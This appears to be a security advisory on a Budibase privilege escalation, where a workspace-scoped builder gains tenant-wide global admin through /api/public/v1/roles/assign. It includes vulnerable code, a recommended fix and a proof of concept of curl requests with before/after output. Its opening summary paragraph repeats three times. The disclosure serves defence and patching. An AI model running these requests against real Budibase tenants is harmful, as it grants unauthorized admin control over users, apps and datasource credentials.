Budibase: Workspace-scoped builder escalates to global admin via /api/public/v1/roles/assign

Budibase is an open-source low-code platform. Prior to 3.39.0, /api/public/v1/roles/assign is guarded by the builderOrAdmin middleware, which passes any user who is a builder for the app id in the x-budibase-app-id header. That check admits both global builders and workspace-scoped builders (builder.apps set but builder.global unset). The controller then spreads the request body into the SDK call, and the SDK grants builder.global=true or admin.global=true on whichever user ids the caller supplies. Bob, a workspace-scoped builder with an API key, promotes himself or any other user to global admin with one POST. The whole flow is tenant-wide privilege escalation from an app-level role, available to anyone with an Enterprise license that unlocks the EXPANDED_PUBLIC_API feature. This vulnerability is fixed in 3.39.0.

Budibase is an open-source low-code platform. Prior to 3.39.0, /api/public/v1/roles/assign is guarded by the builderOrAdmin middleware, which passes any user who is a builder for the app id in the x-budibase-app-id header. That check admits both global builders and workspace-scoped builders (builder.apps set but builder.global unset). The controller then spreads the request body into the SDK call, and the SDK grants builder.global=true or admin.global=true on whichever user ids the caller supplies. Bob, a workspace-scoped builder with an API key, promotes himself or any other user to global admin with one POST. The whole flow is tenant-wide privilege escalation from an app-level role, available to anyone with an Enterprise license that unlocks the EXPANDED_PUBLIC_API feature. This vulnerability is fixed in 3.39.0.

Budibase is an open-source low-code platform. Prior to 3.39.0, /api/public/v1/roles/assign is guarded by the builderOrAdmin middleware, which passes any user who is a builder for the app id in the x-budibase-app-id header. That check admits both global builders and workspace-scoped builders (builder.apps set but builder.global unset). The controller then spreads the request body into the SDK call, and the SDK grants builder.global=true or admin.global=true on whichever user ids the caller supplies. Bob, a workspace-scoped builder with an API key, promotes himself or any other user to global admin with one POST. The whole flow is tenant-wide privilege escalation from an app-level role, available to anyone with an Enterprise license that unlocks the EXPANDED_PUBLIC_API feature. This vulnerability is fixed in 3.39.0.

## Summary `/api/public/v1/roles/assign` is guarded by the `builderOrAdmin` middleware, which passes any user who is a builder for the app id in the `x-budibase-app-id` header. That check admits both global builders and workspace-scoped builders (`builder.apps` set but `builder.global` unset). The controller then spreads the request body into the SDK call, and the SDK grants `builder.global=true` or `admin.global=true` on whichever user ids the caller supplies. Bob, a workspace-scoped builder with an API key, promotes himself or any other user to global admin with one POST. The whole flow is tenant-wide privilege escalation from an app-level role, available to anyone with an Enterprise license that unlocks the `EXPANDED_PUBLIC_API` feature. ## Details Controller (`packages/server/src/api/controllers/public/roles.ts:13-17`): ```typescript export async function assignAppBuilder(ctx: Ctx) { const { userIds, ...assignmentProps } = ctx.request.body await sdk.publicApi.roles.assign(userIds, assignmentProps) ctx.body = { data: { userIds } } } ``` Nothing filters `assignmentProps`. The request body's `builder` and `admin` keys flow directly into the SDK. SDK (`packages/pro/src/sdk/publicApi/roles.ts:17-47`): ```typescript export async function assign(userIds: string[], opts: AssignmentOpts) { if (!(await isExpandedPublicApiEnabled())) { throw new Error("Unable to assign roles - license required.") } const users = await userDB.bulkGet(userIds) for (let user of users) { // ... if (opts.builder) { user.builder = { global: true } } if (opts.admin) { user.admin = { global: true } } } await userDB.bulkUpdate(users) } ``` No check that the caller already holds the privilege they are granting. `user.builder` is overwritten unconditionally, which also strips any existing `builder.apps` scope from the target. Route guard (`packages/backend-core/src/middleware/builderOrAdmin.ts:6-20`): ```typescript export async function builderOrAdmin(ctx: UserCtx, next: any) { if (ctx.internal || isAdmin(ctx.user)) { return next() } const workspaceId = await getWorkspaceIdFromCtx(ctx) if (!workspaceId && !env.isWorker()) { ctx.throw(403, "This request required a workspace id.") } else if (!workspaceId && !hasBuilderPermissions(ctx.user)) { ctx.throw(403, "Admin/Builder user only endpoint.") } else if (workspaceId && !isBuilder(ctx.user, workspaceId)) { ctx.throw(403, "Workspace Admin/Builder user only endpoint.") } // passes } ``` `isBuilder(user, workspaceId)` returns true for any user whose `builder.apps` array contains the workspace id, even when `builder.global` is unset. The endpoint therefore trusts an app-level builder with a global-scope grant. ## Proof of Concept Tested on Budibase 3.35.8 (master at f960e361). The public API license gate at `roles.ts:18` was disabled in the test bundle so the underlying privilege-escalation could be reproduced end-to-end; on a licensed Enterprise tenant the gate passes and the same requests land. Step 1: the admin creates two users. Alice is a workspace-scoped builder on an app (`builder.apps: [app_...]`, `builder.global` unset, `admin.global` unset). Victim is a BASIC user. Step 2: Alice calls `GET /api/global/self/api_key` to mint an API key tied to her identity: ```bash curl -sS -b alice "$BASE/api/global/self/api_key" # → {"apiKey":"80f28...","userId":"us_dab...","createdAt":"..."} ``` Step 3: Alice calls `/api/public/v1/roles/assign` with the victim's id and `builder: true`. She scopes the request to her own app via `x-budibase-app-id` so `builderOrAdmin` passes: ```bash curl -sS -X POST "$BASE/api/public/v1/roles/assign" \ -H "Content-Type: application/json" \ -H "x-budibase-api-key: $ALICE_APIKEY" \ -H "x-budibase-app-id: $APP_ID" \ -d '{"userIds":["us_70b6...victim"],"builder":true}' ``` Admin verifies: ``` BEFORE: builder: {'global': False} admin: {'global': False} ATTACK: HTTP 200 {"data":{"userIds":["us_70b6..."]}} AFTER: builder: {'global': True} admin: {'global': False} ``` Step 4: Alice follows up with `"admin": true` and can target her own id: ```bash curl -sS -X POST "$BASE/api/public/v1/roles/assign" \ -H "Content-Type: application/json" \ -H "x-budibase-api-key: $ALICE_APIKEY" \ -H "x-budibase-app-id: $APP_ID" \ -d '{"userIds":["us_dab...alice"],"admin":true}' ``` ``` AFTER: builder: {'apps': ['app_...']} admin: {'global': True} ``` Alice is now a global admin of the tenant. She kept `builder.apps` because the SDK only overwrites the keys it was asked to set; `admin: true` writes `admin = { global: true }` without touching `builder`. ## Impact Every workspace-scoped builder of any app in the tenant is one request away from global admin. Global admin grants unrestricted access to the tenant: every app in every workspace, every user, every datasource credential, every automation, every SCIM / OIDC / audit-log config. The mass-assignment also strips scoping from the target's existing role, so downgrading a legitimate global builder to an app-scoped builder fails: a later call reinstates `global: true`. A tenant that shares app-building duties across teams (the common Enterprise pattern) cannot hold the per-app boundary with the current middleware. This matches GHSA-2g39-332f-68p9 (Critical Privilege Escalation & IDOR via Missing RBAC) in shape and impact. ## Recommended Fix Enforce the caller's privilege in the SDK, matching the grant they want to make: ```typescript // packages/pro/src/sdk/publicApi/roles.ts:32-43 const caller = context.getIdentity() // or however the SDK resolves the caller if (opts.builder) { if (!caller?.builder?.global && !caller?.admin?.global) { throw new HTTPError("Only global builders or admins can grant global builder", 403) } user.builder = { global: true } } if (opts.admin) { if (!caller?.admin?.global) { throw new HTTPError("Only global admins can grant global admin", 403) } user.admin = { global: true } } ``` Alternative, equally valid: tighten `builderOrAdmin` so that endpoints which can set global-scope properties require `isGlobalBuilder` or `isAdmin`. That fixes this endpoint and any future endpoint that shares the middleware. Whichever fix lands, also strip `builder` and `admin` from `assignmentProps` at the controller boundary (`packages/server/src/api/controllers/public/roles.ts:14`) unless the caller has `admin.global=true`. Defense-in-depth against a future SDK regression. --- *Found by [aisafe.io](https://aisafe.io)*